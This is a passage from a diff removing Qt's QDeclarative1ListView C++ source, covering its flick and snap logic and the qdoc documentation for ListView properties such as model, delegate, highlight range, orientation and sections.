QEasingCurve(QEasingCurve::InOutQuad), fixupDuration/2); - data.fixingUp = true; - } else { - timeline.set(data.move, -pos); - } - vTime = timeline.time(); - } - } else if (currentItem && strictHighlightRange - && moveReason != QDeclarative1ListViewPrivate::SetIndex) { - updateHighlight(); - qreal pos = currentItem->itemPosition(); - if (viewPos < pos + currentItem->itemSize() - highlightEnd) - viewPos = pos + currentItem->itemSize() - highlightEnd; - if (viewPos > pos - highlightStart) - viewPos = pos - highlightStart; - if (isRightToLeft()) - viewPos = -viewPos-size(); - - timeline.reset(data.move); - if (viewPos != position()) { - if (fixupMode != Immediate) { - timeline.move(data.move, -viewPos, QEasingCurve(QEasingCurve::InOutQuad), fixupDuration/2); - data.fixingUp = true; - } else { - timeline.set(data.move, -viewPos); - } - } - vTime = timeline.time(); - } else { - QDeclarative1FlickablePrivate::fixup(data, minExtent, maxExtent); - } - data.inOvershoot = false; - fixupMode = Normal; -} - -void QDeclarative1ListViewPrivate::flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize, - QDeclarative1TimeLineCallback::Callback fixupCallback, qreal velocity) -{ - Q_Q(QDeclarative1ListView); - - data.fixingUp = false; - moveReason = Mouse; - if ((!haveHighlightRange || highlightRange != QDeclarative1ListView::StrictlyEnforceRange) && snapMode == QDeclarative1ListView::NoSnap) { - correctFlick = true; - QDeclarative1FlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); - return; - } - qreal maxDistance = 0; - qreal dataValue = isRightToLeft() ? -data.move.value()+size() : data.move.value(); - qreal highlightStart = isRightToLeft() && highlightRangeStartValid ? size()-highlightRangeEnd : highlightRangeStart; - // -ve velocity means list is moving up/left - if (velocity > 0) { - if (data.move.value() < minExtent) { - if (snapMode == QDeclarative1ListView::SnapOneItem && !hData.flicking && !vData.flicking) { - // if we've been dragged < averageSize/2 then bias towards the next item - qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset); - qreal bias = dist < averageSize/2 ? averageSize/2 : 0; - if (isRightToLeft()) - bias = -bias; - data.flickTarget = -snapPosAt(-(dataValue - highlightStart) - bias) + highlightStart; - maxDistance = qAbs(data.flickTarget - data.move.value()); - velocity = maxVelocity; - } else { - maxDistance = qAbs(minExtent - data.move.value()); - } - } - if (snapMode == QDeclarative1ListView::NoSnap && highlightRange != QDeclarative1ListView::StrictlyEnforceRange) - data.flickTarget = minExtent; - } else { - if (data.move.value() > maxExtent) { - if (snapMode == QDeclarative1ListView::SnapOneItem && !hData.flicking && !vData.flicking) { - // if we've been dragged < averageSize/2 then bias towards the next item - qreal dist = data.move.value() - (data.pressPos - data.dragStartOffset); - qreal bias = -dist < averageSize/2 ? averageSize/2 : 0; - if (isRightToLeft()) - bias = -bias; - data.flickTarget = -snapPosAt(-(dataValue - highlightStart) + bias) + highlightStart; - maxDistance = qAbs(data.flickTarget - data.move.value()); - velocity = -maxVelocity; - } else { - maxDistance = qAbs(maxExtent - data.move.value()); - } - } - if (snapMode == QDeclarative1ListView::NoSnap && highlightRange != QDeclarative1ListView::StrictlyEnforceRange) - data.flickTarget = maxExtent; - } - - bool overShoot = boundsBehavior == QDeclarative1Flickable::DragAndOvershootBounds; - - if (maxDistance > 0 || overShoot) { - // These modes require the list to stop exactly on an item boundary. - // The initial flick will estimate the boundary to stop on. - // Since list items can have variable sizes, the boundary will be - // reevaluated and adjusted as we approach the boundary. - qreal v = velocity; - if (maxVelocity != -1 && maxVelocity < qAbs(v)) { - if (v < 0) - v = -maxVelocity; - else - v = maxVelocity; - } - if (!hData.flicking && !vData.flicking) { - // the initial flick - estimate boundary - qreal accel = deceleration; - qreal v2 = v * v; - overshootDist = 0.0; - // + averageSize/4 to encourage moving at least one item in the flick direction - qreal dist = v2 / (accel * 2.0) + averageSize/4; - if (maxDistance > 0) - dist = qMin(dist, maxDistance); - if (v > 0) - dist = -dist; - if ((maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) || snapMode == QDeclarative1ListView::SnapOneItem) { - if (snapMode != QDeclarative1ListView::SnapOneItem) { - qreal distTemp = isRightToLeft() ? -dist : dist; - data.flickTarget = -snapPosAt(-(dataValue - highlightStart) + distTemp) + highlightStart; - } - data.flickTarget = isRightToLeft() ? -data.flickTarget+size() : data.flickTarget; - if (overShoot) { - if (data.flickTarget >= minExtent) { - overshootDist = overShootDistance(vSize); - data.flickTarget += overshootDist; - } else if (data.flickTarget <= maxExtent) { - overshootDist = overShootDistance(vSize); - data.flickTarget -= overshootDist; - } - } - qreal adjDist = -data.flickTarget + data.move.value(); - if (qAbs(adjDist) > qAbs(dist)) { - // Prevent painfully slow flicking - adjust velocity to suit flickDeceleration - qreal adjv2 = accel * 2.0f * qAbs(adjDist); - if (adjv2 > v2) { - v2 = adjv2; - v = qSqrt(v2); - if (dist > 0) - v = -v; - } - } - dist = adjDist; - accel = v2 / (2.0f * qAbs(dist)); - } else if (overShoot) { - data.flickTarget = data.move.value() - dist; - if (data.flickTarget >= minExtent) { - overshootDist = overShootDistance(vSize); - data.flickTarget += overshootDist; - } else if (data.flickTarget <= maxExtent) { - overshootDist = overShootDistance(vSize); - data.flickTarget -= overshootDist; - } - } - - timeline.reset(data.move); - timeline.accel(data.move, v, accel, maxDistance + overshootDist); - timeline.callback(QDeclarative1TimeLineCallback(&data.move, fixupCallback, this)); - if (!hData.flicking && q->xflick()) { - hData.flicking = true; - emit q->flickingChanged(); - emit q->flickingHorizontallyChanged(); - emit q->flickStarted(); - } - if (!vData.flicking && q->yflick()) { - vData.flicking = true; - emit q->flickingChanged(); - emit q->flickingVerticallyChanged(); - emit q->flickStarted(); - } - correctFlick = true; - } else { - // reevaluate the target boundary. - qreal newtarget = data.flickTarget; - if (snapMode != QDeclarative1ListView::NoSnap || highlightRange == QDeclarative1ListView::StrictlyEnforceRange) { - qreal tempFlickTarget = isRightToLeft() ? -data.flickTarget+size() : data.flickTarget; - newtarget = -snapPosAt(-(tempFlickTarget - highlightStart)) + highlightStart; - newtarget = isRightToLeft() ? -newtarget+size() : newtarget; - } - if (velocity < 0 && newtarget <= maxExtent) - newtarget = maxExtent - overshootDist; - else if (velocity > 0 && newtarget >= minExtent) - newtarget = minExtent + overshootDist; - if (newtarget == data.flickTarget) { // boundary unchanged - nothing to do - if (qAbs(velocity) < MinimumFlickVelocity) - correctFlick = false; - return; - } - data.flickTarget = newtarget; - qreal dist = -newtarget + data.move.value(); - if ((v < 0 && dist < 0) || (v > 0 && dist > 0)) { - correctFlick = false; - timeline.reset(data.move); - fixup(data, minExtent, maxExtent); - return; - } - - timeline.reset(data.move); - timeline.accelDistance(data.move, v, -dist); - timeline.callback(QDeclarative1TimeLineCallback(&data.move, fixupCallback, this)); - } - } else { - correctFlick = false; - timeline.reset(data.move); - fixup(data, minExtent, maxExtent); - } -} - -//---------------------------------------------------------------------------- - -/*! - \qmlclass ListView QDeclarative1ListView - \inqmlmodule QtQuick 1 - \ingroup qml-view-elements - \since QtQuick 1.0 - \inherits Flickable - \brief The ListView item provides a list view of items provided by a model. - - A ListView displays data from models created from built-in QML elements like ListModel - and XmlListModel, or custom model classes defined in C++ that inherit from - QAbstractListModel. - - A ListView has a \l model, which defines the data to be displayed, and - a \l delegate, which defines how the data should be displayed. Items in a - ListView are laid out horizontally or vertically. List views are inherently - flickable because ListView inherits from \l Flickable. - - \section1 Example Usage - - The following example shows the definition of a simple list model defined - in a file called \c ContactModel.qml: - - \snippet doc/src/snippets/qtquick1/listview/ContactModel.qml 0 - - Another component can display this model data in a ListView, like this: - - \snippet doc/src/snippets/qtquick1/listview/listview.qml import - \codeline - \snippet doc/src/snippets/qtquick1/listview/listview.qml classdocs simple - - \image listview-simple.png - - Here, the ListView creates a \c ContactModel component for its model, and a \l Text element - for its delegate. The view will create a new \l Text component for each item in the model. Notice - the delegate is able to access the model's \c name and \c number data directly. - - An improved list view is shown below. The delegate is visually improved and is moved - into a separate \c contactDelegate component. - - \snippet doc/src/snippets/qtquick1/listview/listview.qml classdocs advanced - \image listview-highlight.png - - The currently selected item is highlighted with a blue \l Rectangle using the \l highlight property, - and \c focus is set to \c true to enable keyboard navigation for the list view. - The list view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details). - - Delegates are instantiated as needed and may be destroyed at any time. - State should \e never be stored in a delegate. - - ListView attaches a number of properties to the root item of the delegate, for example - \c {ListView.isCurrentItem}. In the following example, the root delegate item can access - this attached property directly as \c ListView.isCurrentItem, while the child - \c contactInfo object must refer to this property as \c wrapper.ListView.isCurrentItem. - - \snippet doc/src/snippets/qtquick1/listview/listview.qml isCurrentItem - - \note Views do not enable \e clip automatically. If the view - is not clipped by another item or the screen, it will be necessary - to set \e {clip: true} in order to have the out of view items clipped - nicely. - - \sa {QML Data Models}, GridView, {declarative/modelviews/listview}{ListView examples} -*/ - -QDeclarative1ListView::QDeclarative1ListView(QDeclarativeItem *parent) - : QDeclarative1Flickable(*(new QDeclarative1ListViewPrivate), parent) -{ - Q_D(QDeclarative1ListView); - d->init(); -} - -QDeclarative1ListView::~QDeclarative1ListView() -{ - Q_D(QDeclarative1ListView); - d->clear(); - if (d->ownModel) - delete d->model; - delete d->header; - delete d->footer; -} - -/*! - \qmlattachedproperty bool ListView::isCurrentItem - This attached property is true if this delegate is the current item; otherwise false. - - It is attached to each instance of the delegate. - - This property may be used to adjust the appearance of the current item, for example: - - \snippet doc/src/snippets/qtquick1/listview/listview.qml isCurrentItem -*/ - -/*! - \qmlattachedproperty ListView ListView::view - This attached property holds the view that manages this delegate instance. - - It is attached to each instance of the delegate. -*/ - -/*! - \qmlattachedproperty string ListView::previousSection - This attached property holds the section of the previous element. - - It is attached to each instance of the delegate. - - The section is evaluated using the \l {ListView::section.property}{section} properties. -*/ - -/*! - \qmlattachedproperty string ListView::nextSection - This attached property holds the section of the next element. - - It is attached to each instance of the delegate. - - The section is evaluated using the \l {ListView::section.property}{section} properties. -*/ - -/*! - \qmlattachedproperty string ListView::section - This attached property holds the section of this element. - - It is attached to each instance of the delegate. - - The section is evaluated using the \l {ListView::section.property}{section} properties. -*/ - -/*! - \qmlattachedproperty bool ListView::delayRemove - This attached property holds whether the delegate may be destroyed. - - It is attached to each instance of the delegate. - - It is sometimes necessary to delay the destruction of an item - until an animation completes. - - The example delegate below ensures that the animation completes before - the item is removed from the list. - - \snippet doc/src/snippets/qtquick1/listview/listview.qml delayRemove -*/ - -/*! - \qmlattachedsignal QtQuick1::ListView::onAdd() - This attached handler is called immediately after an item is added to the view. -*/ - -/*! - \qmlattachedsignal QtQuick1::ListView::onRemove() - This attached handler is called immediately before an item is removed from the view. -*/ - -/*! - \qmlproperty model QtQuick1::ListView::model - This property holds the model providing data for the list. - - The model provides the set of data that is used to create the items - in the view. Models can be created directly in QML using \l ListModel, \l XmlListModel - or \l VisualItemModel, or provided by C++ model classes. If a C++ model class is - used, it must be a subclass of \l QAbstractItemModel or a simple list. - - \sa {qmlmodels}{Data Models} -*/ -QVariant QDeclarative1ListView::model() const -{ - Q_D(const QDeclarative1ListView); - return d->modelVariant; -} - -void QDeclarative1ListView::setModel(const QVariant &model) -{ - Q_D(QDeclarative1ListView); - if (d->modelVariant == model) - return; - if (d->model) { - disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); - disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); - disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); - disconnect(d->model, SIGNAL(itemsChanged(int,int)), this, SLOT(itemsChanged(int,int))); - disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); - disconnect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); - disconnect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*))); - } - d->clear(); - QDeclarative1VisualModel *oldModel = d->model; - d->model = 0; - d->setPosition(0); - d->modelVariant = model; - QObject *object = qvariant_cast(model); - QDeclarative1VisualModel *vim = 0; - if (object && (vim = qobject_cast(object))) { - if (d->ownModel) { - delete oldModel; - d->ownModel = false; - } - d->model = vim; - } else { - if (!d->ownModel) { - d->model = new QDeclarative1VisualDataModel(qmlContext(this), this); - d->ownModel = true; - } else { - d->model = oldModel; - } - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - dataModel->setModel(model); - } - if (d->model) { - d->bufferMode = QDeclarative1ListViewPrivate::BufferBefore | QDeclarative1ListViewPrivate::BufferAfter; - if (isComponentComplete()) { - updateSections(); - refill(); - if ((d->currentIndex >= d->model->count() || d->currentIndex < 0) && !d->currentIndexCleared) { - setCurrentIndex(0); - } else { - d->moveReason = QDeclarative1ListViewPrivate::SetIndex; - d->updateCurrent(d->currentIndex); - if (d->highlight && d->currentItem) { - if (d->autoHighlight) - d->highlight->setPosition(d->currentItem->position()); - d->updateTrackedItem(); - } - } - d->updateViewport(); - } - connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); - connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); - connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); - connect(d->model, SIGNAL(itemsChanged(int,int)), this, SLOT(itemsChanged(int,int))); - connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); - connect(d->model, SIGNAL(createdItem(int,QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); - connect(d->model, SIGNAL(destroyingItem(QDeclarativeItem*)), this, SLOT(destroyingItem(QDeclarativeItem*))); - emit countChanged(); - } - emit modelChanged(); -} - -/*! - \qmlproperty Component QtQuick1::ListView::delegate - - The delegate provides a template defining each item instantiated by the view. - The index is exposed as an accessible \c index property. Properties of the - model are also available depending upon the type of \l {qmlmodels}{Data Model}. - - The number of elements in the delegate has a direct effect on the - flicking performance of the view. If at all possible, place functionality - that is not needed for the normal display of the delegate in a \l Loader which - can load additional elements when needed. - - The ListView will lay out the items based on the size of the root item - in the delegate. - - It is recommended that the delagate's size be a whole number to avoid sub-pixel - alignment of items. - - \note Delegates are instantiated as needed and may be destroyed at any time. - State should \e never be stored in a delegate. -*/ -QDeclarativeComponent *QDeclarative1ListView::delegate() const -{ - Q_D(const QDeclarative1ListView); - if (d->model) { - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) - return dataModel->delegate(); - } - - return 0; -} - -void QDeclarative1ListView::setDelegate(QDeclarativeComponent *delegate) -{ - Q_D(QDeclarative1ListView); - if (delegate == this->delegate()) - return; - if (!d->ownModel) { - d->model = new QDeclarative1VisualDataModel(qmlContext(this)); - d->ownModel = true; - } - if (QDeclarative1VisualDataModel *dataModel = qobject_cast(d->model)) { - int oldCount = dataModel->count(); - dataModel->setDelegate(delegate); - if (isComponentComplete()) { - for (int i = 0; i < d->visibleItems.count(); ++i) - d->releaseItem(d->visibleItems.at(i)); - d->visibleItems.clear(); - d->releaseItem(d->currentItem); - d->currentItem = 0; - updateSections(); - refill(); - d->moveReason = QDeclarative1ListViewPrivate::SetIndex; - d->updateCurrent(d->currentIndex); - if (d->highlight && d->currentItem) { - if (d->autoHighlight) - d->highlight->setPosition(d->currentItem->position()); - d->updateTrackedItem(); - } - d->updateViewport(); - } - if (oldCount != dataModel->count()) - emit countChanged(); - } - emit delegateChanged(); -} - -/*! - \qmlproperty int QtQuick1::ListView::currentIndex - \qmlproperty Item QtQuick1::ListView::currentItem - - The \c currentIndex property holds the index of the current item, and - \c currentItem holds the current item. Setting the currentIndex to -1 - will clear the highlight and set currentItem to null. - - If highlightFollowsCurrentItem is \c true, setting either of these - properties will smoothly scroll the ListView so that the current - item becomes visible. - - Note that the position of the current item - may only be approximate until it becomes visible in the view. -*/ -int QDeclarative1ListView::currentIndex() const -{ - Q_D(const QDeclarative1ListView); - return d->currentIndex; -} - -void QDeclarative1ListView::setCurrentIndex(int index) -{ - Q_D(QDeclarative1ListView); - if (d->requestedIndex >= 0) // currently creating item - return; - d->currentIndexCleared = (index == -1); - if (index == d->currentIndex) - return; - if (isComponentComplete() && d->isValid()) { - if (d->layoutScheduled) - d->layout(); - d->moveReason = QDeclarative1ListViewPrivate::SetIndex; - d->updateCurrent(index); - } else if (d->currentIndex != index) { - d->currentIndex = index; - emit currentIndexChanged(); - } -} - -QDeclarativeItem *QDeclarative1ListView::currentItem() -{ - Q_D(QDeclarative1ListView); - if (!d->currentItem) - return 0; - return d->currentItem->item; -} - -/*! - \qmlproperty Item QtQuick1::ListView::highlightItem - - This holds the highlight item created from the \l highlight component. - - The \c highlightItem is managed by the view unless - \l highlightFollowsCurrentItem is set to false. - - \sa highlight, highlightFollowsCurrentItem -*/ -QDeclarativeItem *QDeclarative1ListView::highlightItem() -{ - Q_D(QDeclarative1ListView); - if (!d->highlight) - return 0; - return d->highlight->item; -} - -/*! - \qmlproperty int QtQuick1::ListView::count - This property holds the number of items in the view. -*/ -int QDeclarative1ListView::count() const -{ - Q_D(const QDeclarative1ListView); - if (d->model) - return d->model->count(); - return 0; -} - -/*! - \qmlproperty Component QtQuick1::ListView::highlight - This property holds the component to use as the highlight. - - An instance of the highlight component is created for each list. - The geometry of the resulting component instance is managed by the list - so as to stay with the current item, unless the highlightFollowsCurrentItem - property is false. - - \sa highlightItem, highlightFollowsCurrentItem, {declarative/modelviews/listview}{ListView examples} -*/ -QDeclarativeComponent *QDeclarative1ListView::highlight() const -{ - Q_D(const QDeclarative1ListView); - return d->highlightComponent; -} - -void QDeclarative1ListView::setHighlight(QDeclarativeComponent *highlight) -{ - Q_D(QDeclarative1ListView); - if (highlight != d->highlightComponent) { - d->highlightComponent = highlight; - d->createHighlight(); - if (d->currentItem) - d->updateHighlight(); - emit highlightChanged(); - } -} - -/*! - \qmlproperty bool QtQuick1::ListView::highlightFollowsCurrentItem - This property holds whether the highlight is managed by the view. - - If this property is true (the default value), the highlight is moved smoothly - to follow the current item. Otherwise, the - highlight is not moved by the view, and any movement must be implemented - by the highlight. - - Here is a highlight with its motion defined by a \l {SpringAnimation} item: - - \snippet doc/src/snippets/qtquick1/listview/listview.qml highlightFollowsCurrentItem - - Note that the highlight animation also affects the way that the view - is scrolled. This is because the view moves to maintain the - highlight within the preferred highlight range (or visible viewport). - - \sa highlight, highlightMoveSpeed -*/ -bool QDeclarative1ListView::highlightFollowsCurrentItem() const -{ - Q_D(const QDeclarative1ListView); - return d->autoHighlight; -} - -void QDeclarative1ListView::setHighlightFollowsCurrentItem(bool autoHighlight) -{ - Q_D(QDeclarative1ListView); - if (d->autoHighlight != autoHighlight) { - d->autoHighlight = autoHighlight; - if (autoHighlight) { - d->updateHighlight(); - } else { - if (d->highlightPosAnimator) - d->highlightPosAnimator->stop(); - if (d->highlightSizeAnimator) - d->highlightSizeAnimator->stop(); - } - emit highlightFollowsCurrentItemChanged(); - } -} - -//###Possibly rename these properties, since they are very useful even without a highlight? -/*! - \qmlproperty real QtQuick1::ListView::preferredHighlightBegin - \qmlproperty real QtQuick1::ListView::preferredHighlightEnd - \qmlproperty enumeration QtQuick1::ListView::highlightRangeMode - - These properties define the preferred range of the highlight (for the current item) - within the view. The \c preferredHighlightBegin value must be less than the - \c preferredHighlightEnd value. - - These properties affect the position of the current item when the list is scrolled. - For example, if the currently selected item should stay in the middle of the - list when the view is scrolled, set the \c preferredHighlightBegin and - \c preferredHighlightEnd values to the top and bottom coordinates of where the middle - item would be. If the \c currentItem is changed programmatically, the list will - automatically scroll so that the current item is in the middle of the view. - Furthermore, the behavior of the current item index will occur whether or not a - highlight exists. - - Valid values for \c highlightRangeMode are: - - \list - \o ListView.ApplyRange - the view attempts to maintain the highlight within the range. - However, the highlight can move outside of the range at the ends of the list or due - to mouse interaction. - \o ListView.StrictlyEnforceRange - the highlight never moves outside of the range. - The current item changes if a keyboard or mouse action would cause the highlight to move - outside of the range. - \o ListView.NoHighlightRange - this is the default value. - \endlist -*/ -qreal QDeclarative1ListView::preferredHighlightBegin() const -{ - Q_D(const QDeclarative1ListView); - return d->highlightRangeStart; -} - -void QDeclarative1ListView::setPreferredHighlightBegin(qreal start) -{ - Q_D(QDeclarative1ListView); - d->highlightRangeStartValid = true; - if (d->highlightRangeStart == start) - return; - d->highlightRangeStart = start; - d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - emit preferredHighlightBeginChanged(); -} - -void QDeclarative1ListView::resetPreferredHighlightBegin() -{ - Q_D(QDeclarative1ListView); - d->highlightRangeStartValid = false; - if (d->highlightRangeStart == 0) - return; - d->highlightRangeStart = 0; - emit preferredHighlightBeginChanged(); -} - -qreal QDeclarative1ListView::preferredHighlightEnd() const -{ - Q_D(const QDeclarative1ListView); - return d->highlightRangeEnd; -} - -void QDeclarative1ListView::setPreferredHighlightEnd(qreal end) -{ - Q_D(QDeclarative1ListView); - d->highlightRangeEndValid = true; - if (d->highlightRangeEnd == end) - return; - d->highlightRangeEnd = end; - d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - emit preferredHighlightEndChanged(); -} - -void QDeclarative1ListView::resetPreferredHighlightEnd() -{ - Q_D(QDeclarative1ListView); - d->highlightRangeEndValid = false; - if (d->highlightRangeEnd == 0) - return; - d->highlightRangeEnd = 0; - emit preferredHighlightEndChanged(); -} - -QDeclarative1ListView::HighlightRangeMode QDeclarative1ListView::highlightRangeMode() const -{ - Q_D(const QDeclarative1ListView); - return d->highlightRange; -} - -void QDeclarative1ListView::setHighlightRangeMode(HighlightRangeMode mode) -{ - Q_D(QDeclarative1ListView); - if (d->highlightRange == mode) - return; - d->highlightRange = mode; - d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - emit highlightRangeModeChanged(); -} - -/*! - \qmlproperty real QtQuick1::ListView::spacing - - This property holds the spacing between items. - - The default value is 0. -*/ -qreal QDeclarative1ListView::spacing() const -{ - Q_D(const QDeclarative1ListView); - return d->spacing; -} - -void QDeclarative1ListView::setSpacing(qreal spacing) -{ - Q_D(QDeclarative1ListView); - if (spacing != d->spacing) { - d->spacing = spacing; - d->layout(); - emit spacingChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::ListView::orientation - This property holds the orientation of the list. - - Possible values: - - \list - \o ListView.Horizontal - Items are laid out horizontally - \o ListView.Vertical (default) - Items are laid out vertically - \endlist - - \table - \row - \o Horizontal orientation: - \image ListViewHorizontal.png - - \row - \o Vertical orientation: - \image listview-highlight.png - \endtable -*/ -QDeclarative1ListView::Orientation QDeclarative1ListView::orientation() const -{ - Q_D(const QDeclarative1ListView); - return d->orient; -} - -void QDeclarative1ListView::setOrientation(QDeclarative1ListView::Orientation orientation) -{ - Q_D(QDeclarative1ListView); - if (d->orient != orientation) { - d->orient = orientation; - if (d->orient == QDeclarative1ListView::Vertical) { - setContentWidth(-1); - setFlickableDirection(VerticalFlick); - setContentX(0); - } else { - setContentHeight(-1); - setFlickableDirection(HorizontalFlick); - setContentY(0); - } - d->regenerate(); - emit orientationChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::ListView::layoutDirection - This property holds the layout direction of the horizontal list. - - Possible values: - - \list - \o Qt.LeftToRight (default) - Items will be laid out from left to right. - \o Qt.RightToLeft - Items will be laid out from right to let. - \endlist - - \sa ListView::effectiveLayoutDirection -*/ - -Qt::LayoutDirection QDeclarative1ListView::layoutDirection() const -{ - Q_D(const QDeclarative1ListView); - return d->layoutDirection; -} - -void QDeclarative1ListView::setLayoutDirection(Qt::LayoutDirection layoutDirection) -{ - Q_D(QDeclarative1ListView); - if (d->layoutDirection != layoutDirection) { - d->layoutDirection = layoutDirection; - d->regenerate(); - emit layoutDirectionChanged(); - emit effectiveLayoutDirectionChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::ListView::effectiveLayoutDirection - This property holds the effective layout direction of the horizontal list. - - When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts, - the visual layout direction of the horizontal list will be mirrored. However, the - property \l {ListView::layoutDirection}{layoutDirection} will remain unchanged. - - \sa ListView::layoutDirection, {LayoutMirroring}{LayoutMirroring} -*/ - -Qt::LayoutDirection QDeclarative1ListView::effectiveLayoutDirection() const -{ - Q_D(const QDeclarative1ListView); - if (d->effectiveLayoutMirror) - return d->layoutDirection == Qt::RightToLeft ? Qt::LeftToRight : Qt::RightToLeft; - else - return d->layoutDirection; -} - -/*! - \qmlproperty bool QtQuick1::ListView::keyNavigationWraps - This property holds whether the list wraps key navigation. - - If this is true, key navigation that would move the current item selection - past the end of the list instead wraps around and moves the selection to - the start of the list, and vice-versa. - - By default, key navigation is not wrapped. -*/ -bool QDeclarative1ListView::isWrapEnabled() const -{ - Q_D(const QDeclarative1ListView); - return d->wrap; -} - -void QDeclarative1ListView::setWrapEnabled(bool wrap) -{ - Q_D(QDeclarative1ListView); - if (d->wrap == wrap) - return; - d->wrap = wrap; - emit keyNavigationWrapsChanged(); -} - -/*! - \qmlproperty int QtQuick1::ListView::cacheBuffer - This property determines whether delegates are retained outside the - visible area of the view. - - If this value is non-zero, the view keeps as many delegates - instantiated as it can fit within the buffer specified. For example, - if in a vertical view the delegate is 20 pixels high and \c cacheBuffer is - set to 40, then up to 2 delegates above and 2 delegates below the visible - area may be retained. - - Note that cacheBuffer is not a pixel buffer - it only maintains additional - instantiated delegates. - - Setting this value can improve the smoothness of scrolling behavior at the expense - of additional memory usage. It is not a substitute for creating efficient - delegates; the fewer elements in a delegate, the faster a view can be - scrolled. -*/ -int QDeclarative1ListView::cacheBuffer() const -{ - Q_D(const QDeclarative1ListView); - return d->buffer; -} - -void QDeclarative1ListView::setCacheBuffer(int b) -{ - Q_D(QDeclarative1ListView); - if (d->buffer != b) { - d->buffer = b; - if (isComponentComplete()) { - d->bufferMode = QDeclarative1ListViewPrivate::BufferBefore | QDeclarative1ListViewPrivate::BufferAfter; - refill(); - } - emit cacheBufferChanged(); - } -} - -/*! - \qmlproperty string QtQuick1::ListView::section.property - \qmlproperty enumeration QtQuick1::ListView::section.criteria - \qmlproperty Component QtQuick1::ListView::section.delegate - - These properties hold the expression to be evaluated for the \l section attached property. - - The \l section attached property enables a ListView to be visually - separated into different parts. These properties determine how sections - are created. - - \c section.property holds the name of the property that is the basis - of each section. - - \c section.criteria holds the criteria for forming each section based on - \c section.property. This value can be one of: - - \list - \o ViewSection.FullString (default) - sections are created based on the - \c section.property value. - \o ViewSection.FirstCharacter - sections are created based on the first - character of the \c section.property value (for example, 'A', 'B', 'C' - sections, etc. for an address book) - \endlist - - \c section.delegate holds the delegate component for each section. - - Each item in the list has attached properties named \c ListView.section, - \c ListView.previousSection and \c ListView.nextSection. These may be - used to place a section header for related items. - - For example, here is a ListView that displays a list of animals, separated - into sections. Each item in the ListView is placed in a different section - depending on the "size" property of the model item. The \c sectionHeading - delegate component provides the light blue bar that marks the beginning of - each section. - - - \snippet examples/declarative/modelviews/listview/sections.qml 0 - - \image qml-listview-sections-example.png - - \note Adding sections to a ListView does not automatically re-order the - list items by the section criteria. - If the model is not ordered by section, then it is possible that - the sections created will not be unique; each boundary between - differing sections will result in a section header being created - even if that section exists elsewhere. - - \sa {declarative/modelviews/listview}{ListView examples} -*/ -QDeclarative1ViewSection *QDeclarative1ListView::sectionCriteria() -{ - Q_D(QDeclarative1ListView); - if (!d->sectionCriteria) { - d->sectionCriteria = new QDeclarative1ViewSection(this); - connect(d->sectionCriteria, SIGNAL(propertyChanged()), this, SLOT(updateSections())); - } - return d->sectionCriteria; -} - -/*! - \qmlproperty string QtQuick1::ListView::currentSection - This property holds the section that is currently at the beginning of the view. -*/ -QString QDeclarative1ListView::currentSection() const -{ - Q_D(const QDeclarative1ListView); - return d->currentSection; -} - -/*! - \qmlproperty real QtQuick1::ListView::highlightMoveSpeed - \qmlproperty int QtQuick1::ListView::highlightMoveDuration - \qmlproperty real QtQuick1::ListView::highlightResizeSpeed - \qmlproperty int QtQuick1::ListView::highlightResizeDuration - - These properties hold the move and resize animation speed of the highlight delegate. - - \l highlightFollowsCurrentItem must be true for these properties - to have effect. - - The default value for the speed properties is 400 pixels/second. - The default value for the duration properties is -1, i.e. the - highlight will take as much time as necessary to move at the set speed. - - These properties have the same characteristics as a SmoothedAnimation. - - \sa highlightFollowsCurrentItem -*/ -qreal QDeclarative1ListView::highlightMoveSpeed() const -{ - Q_D(const QDeclarative1ListView);\ - return d->highlightMoveSpeed; -} - -void QDeclarative1ListView::setHighlightMoveSpeed(qreal speed) -{ - Q_D(QDeclarative1ListView);\ - if (d->highlightMoveSpeed != speed) { - d->highlightMoveSpeed = speed; - if (d->highlightPosAnimator) - d->highlightPosAnimator->velocity = d->highlightMoveSpeed; - emit highlightMoveSpeedChanged(); - } -} - -int QDeclarative1ListView::highlightMoveDuration() const -{ - Q_D(const QDeclarative1ListView); - return d->highlightMoveDuration; -} - -void QDeclarative1ListView::setHighlightMoveDuration(int duration) -{ - Q_D(QDeclarative1ListView);\ - if (d->highlightMoveDuration != duration) { - d->highlightMoveDuration = duration; - if (d->highlightPosAnimator) - d->highlightPosAnimator->userDuration = d->highlightMoveDuration; - emit highlightMoveDurationChanged(); - } -} - -qreal QDeclarative1ListView::highlightResizeSpeed() const -{ - Q_D(const QDeclarative1ListView);\ - return d->highlightResizeSpeed; -} - -void QDeclarative1ListView::setHighlightResizeSpeed(qreal speed) -{ - Q_D(QDeclarative1ListView);\ - if (d->highlightResizeSpeed != speed) { - d->highlightResizeSpeed = speed; - if (d->highlightSizeAnimator) - 